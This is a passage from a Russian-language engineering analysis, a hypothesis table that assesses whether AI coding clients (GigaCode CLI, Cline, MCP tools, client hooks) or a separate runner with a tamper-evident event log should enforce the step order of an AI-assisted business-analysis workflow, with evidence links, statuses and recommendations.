**\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `waiting` \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `resume` \u0441 \u043d\u043e\u0432\u044b\u043c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u043c (\u043e\u0442\u0432\u0435\u0442\u044b \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430); \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u043b\u0438\u0441\u0442\u0430 \u043f\u043e `EP-R8` |\\n| \u0413-32 | \u041e\u0448\u0438\u0431\u043a\u0443 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 runner \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 | `P12`: \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043a \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0437\u043b\u0443 n9 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443, \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 `task is blocked or finished`. \u041b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u0432 `blocked` ([L143-L147](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L143-L147)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u041e\u0442\u043b\u0438\u0447\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0443 \u0432\u0432\u043e\u0434\u0430 (\u043d\u0435\u0442 \u0442\u0430\u043a\u043e\u0433\u043e \u0440\u0435\u0431\u0440\u0430, \u043d\u0435\u0442 \u0444\u0430\u0439\u043b\u0430) \u2014 \u0435\u0451 \u043d\u0435 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043a\u0430\u043a \u043e\u0442\u043a\u0430\u0437 \u0433\u0435\u0439\u0442\u0430 \u2014 \u043e\u0442 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach. \u0414\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f: **\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435** \u2014 \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u043d\u043e\u0432\u043e\u0433\u043e TASK ID |\\n| \u0413-33 | \u041f\u0430\u043a\u0435\u0442 \u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 (`EP-R7`) | `EP-R7` \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u0443 \u043f\u043e\u043f\u044b\u0442\u043a\u0443 ([L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231)); \u043c\u0430\u0440\u0448\u0440\u0443\u0442 GigaCode \u2014 `corrective_attempts: 0` \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 `EP-R7` ([L66-L67](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L66-L67)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430.** \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435: \u043e\u0434\u043d\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0430, \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f runner, \u2014 \u043e\u043d\u0430 \u043d\u0435 \u0441\u043a\u0440\u044b\u0442\u0430\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0435 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u0442 \u0437\u0430\u043f\u0440\u0435\u0442\u0443 ADR-018 |\\n| \u0413-34 | \u0423\u0437\u0435\u043b n7 \u00ab\u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443\u00bb \u043e\u043f\u0438\u0441\u0430\u043d \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e | \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0443\u0437\u043b\u0430: \u00ab\u0430\u0433\u0435\u043d\u0442 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435, \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0436\u0434\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u00bb ([L24](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L24)); \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0440\u0435\u0431\u0440\u0430: \u00ab\u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u2014 \u0440\u0435\u0431\u0440\u043e \u0433\u0440\u0430\u0444\u0430, \u0430 \u043d\u0435 \u043f\u0430\u0443\u0437\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u0430\u00bb ([L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L49)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c Source.** \u041e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0440\u0435\u0431\u0440\u043e\u043c \u0433\u0440\u0430\u0444\u0430 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 `waiting` ([\u0413-31](#\u0433-31)) |\\n| \u0413-35 | \u0416\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 append-only \u0438 \u0437\u0430\u0449\u0438\u0449\u0451\u043d \u043e\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u044b (`EP-R9`) | Runner \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 \u0438 `recorded_by: runner` ([L132-L139](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L132-L139)) \u0438 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 ([L94-L122](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L94-L122)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c.** \u042d\u0442\u043e \u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u043e\u0438\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0432 \u043b\u044e\u0431\u0443\u044e \u0441\u0440\u0435\u0434\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u0432\u0435\u0440 |\\n| \u0413-36 | \u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4` \u00ab\u0434\u0432\u0438\u0436\u043e\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d\u00bb \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | [\u0412\u0435\u0440\u0434\u0438\u043a\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193) \u0440\u0435\u0448\u0430\u0435\u0442 build \u043f\u0440\u043e\u0442\u0438\u0432 buy \u0434\u043b\u044f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u043d\u043e \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f; \u043f\u043e\u0441\u044b\u043b\u043a\u0430 \u2014 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 ([L199-L202](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L199-L202)) \u2014 \u0432\u0435\u0440\u043d\u0430 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 1 \u0438 \u043d\u0435\u0432\u0435\u0440\u043d\u0430 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 4 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u00ab\u041d\u0435 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c \u0434\u0432\u0438\u0436\u043e\u043a\u00bb \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442 \u00ab\u043d\u0435 \u0438\u043c\u0435\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\u00bb. \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u2014 \u0441\u0432\u043e\u0439 runner |\\n\\n### \u0416. \u0421\u043b\u043e\u0439 2: \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442, \u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a)\\n\\n| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n|---|----------|----------------|--------|-------------|--------------|\\n| \u0413-37 | \u041a\u043b\u0438\u0435\u043d\u0442 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 (Cline, GigaCode CLI, \u0430\u043d\u0430\u043b\u043e\u0433\u0438) \u043c\u043e\u0436\u0435\u0442 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | Workflow Cline \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u0435\u043a\u0441\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043b\u0438 ([\u0442\u0435\u0441\u0442 `slash-command-expansion`](https://github.com/cline/cline/blob/main/apps/vscode/src/sdk/slash-command-expansion.test.ts)); \u043a\u043e\u043c\u0430\u043d\u0434\u044b Kilo Code, Gemini CLI \u0438 Qwen Code \u2014 \u0442\u043e\u0436\u0435 \u0442\u0435\u043a\u0441\u0442 ([Kilo](https://kilo.ai/docs/customize/workflows), [Gemini](https://geminicli.com/docs/cli/custom-commands/), [Qwen](https://qwenlm.github.io/qwen-code-docs/en/users/features/commands/)). Skills GigaCode \u00ab\u043d\u0435 \u0434\u0430\u044e\u0442\u00bb \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0439 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438 ([ADR-018 L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u041a\u043b\u0438\u0435\u043d\u0442 \u2014 \u043c\u0435\u0441\u0442\u043e, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0436\u0438\u0432\u0451\u0442 \u0432 runner |\\n| \u0413-38 | MCP-\u0441\u0435\u0440\u0432\u0435\u0440 runner \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c | \u0421\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f MCP: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u00abmodel-controlled\u00bb ([MCP 2025-11-25, tools](https://modelcontextprotocol.io/specification/2025-11-25/server/tools)); \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c. ADR-018 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 ([L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)), ADR-019 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 MCP \u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043d\u043e \u043d\u0435 \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a ([L96](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L96)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u043a\u0430\u043a \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0432\u0445\u043e\u0434, \u043d\u043e runner \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043d\u0435\u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0443 |\\n| \u0413-39 | Hooks \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043c\u043e\u0433\u0443\u0442 \u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 | Hook \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432: Cline \u2014 `cancel: true` ([\u043f\u0440\u0438\u043c\u0435\u0440 SDK](https://github.com/cline/cline/blob/main/sdk/examples/hooks/PreToolUse_BlockDestructive.sh)), Gemini CLI \u2014 \u043a\u043e\u0434 \u0432\u044b\u0445\u043e\u0434\u0430 2 ([hooks](https://geminicli.com/docs/hooks/)), Qwen Code \u2014 `permissionDecision: deny` ([hooks](https://qwenlm.github.io/qwen-code-docs/en/users/features/hooks/)). \u0417\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433 hook \u043d\u0435 \u043c\u043e\u0436\u0435\u0442. \u0423 GigaCode CLI hooks \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b ([\u0413-42](#\u0433-42)); hooks \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043d\u0430 Windows \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f ([\u0413-10 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-10)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** Hook \u2014 \u0441\u0442\u0440\u0430\u0436, \u0430 \u043d\u0435 \u0432\u0435\u0434\u0443\u0449\u0438\u0439. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u043f\u0440\u0435\u0442\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 `runs/` \u043c\u0438\u043c\u043e runner |\\n| \u0413-40 | \u0421\u0440\u0435\u0434\u0430\u043c 1 \u0438 2 \u043d\u0443\u0436\u043d\u044b \u0440\u0430\u0437\u043d\u044b\u0435 runner'\u044b | \u0421\u0435\u0439\u0447\u0430\u0441 \u0438\u0445 \u0434\u0432\u0430: [`run-task.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py) \u0441 \u0433\u0440\u0430\u0444\u043e\u043c RG-BCREQ-v1 \u0438 [`run_task.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/run_task.py) \u0441 \u043e\u0434\u043d\u0438\u043c \u043e\u0442\u0440\u0435\u0437\u043a\u043e\u043c Working \u2192 Release. \u041b\u043e\u0433\u0438\u043a\u0430 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a; \u0441\u0440\u0435\u0434\u0430 4 \u0437\u0430\u0434\u0443\u043c\u0430\u043d\u0430 \u00ab\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0439 \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438\u00bb ([ADR-019 L94](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L94)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0432 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0435 \u0432 \u043e\u0431\u0430 \u043f\u0430\u043a\u0435\u0442\u0430; \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u0434\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 |\\n| \u0413-41 | \u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b, \u0432 \u043d\u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043b\u043e\u0433\u0438\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 | Roo Code \u0432 \u0430\u0440\u0445\u0438\u0432\u0435, \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0432\u044b\u043f\u0443\u0441\u043a v3.54.0 \u043e\u0442 2026-05-15 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/RooCodeInc/Roo-Code)); \u0440\u0435\u0436\u0438\u043c Orchestrator \u0432 Kilo Code \u0443\u0441\u0442\u0430\u0440\u0435\u043b ([docs](https://kilo.ai/docs/code-with-ai/agents/orchestrator-mode)); Gemini CLI \u0441 2026-06-18 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0438 Enterprise-\u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b ([Google](https://developers.googleblog.com/an-important-update-transitioning-gemini-cli-to-antigravity-cli/)); Cline v4 \u0441\u043c\u0435\u043d\u0438\u043b \u0438\u043c\u0435\u043d\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0438 hook \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b \u0438\u0445 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c ([\u0413-11 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-11)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u0412\u0441\u0451, \u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0436\u0438\u0442\u044c \u0441\u043c\u0435\u043d\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u0436\u0438\u0432\u0451\u0442 \u0432 Source \u0438 runner |\\n| \u0413-42 | \u041f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 GigaCode CLI \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b | \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 GigaCode \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u044b IDE ([gitverse](https://gitverse.ru/features/gigacode/install/)); CLI \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043f\u043e \u0430\u043d\u043e\u043d\u0441\u0443 \u0432\u043e \u0432\u0442\u043e\u0440\u0438\u0447\u043d\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 ([seonews](https://m.seonews.ru/events/sber-predstavil-gigacode-cli-ii-razrabotchik-teper-rabotaet-iz-komandnoy-stroki/)); \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 hooks \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 | \u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e | \u041d\u0438\u0437\u043a\u0430\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f |\\n| \u0413-43 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e | \u0421\u0440\u0435\u0434\u0430 2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API ([ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)); \u043a\u043b\u0438\u0435\u043d\u0442 OpenAI \u0434\u043b\u044f Python \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 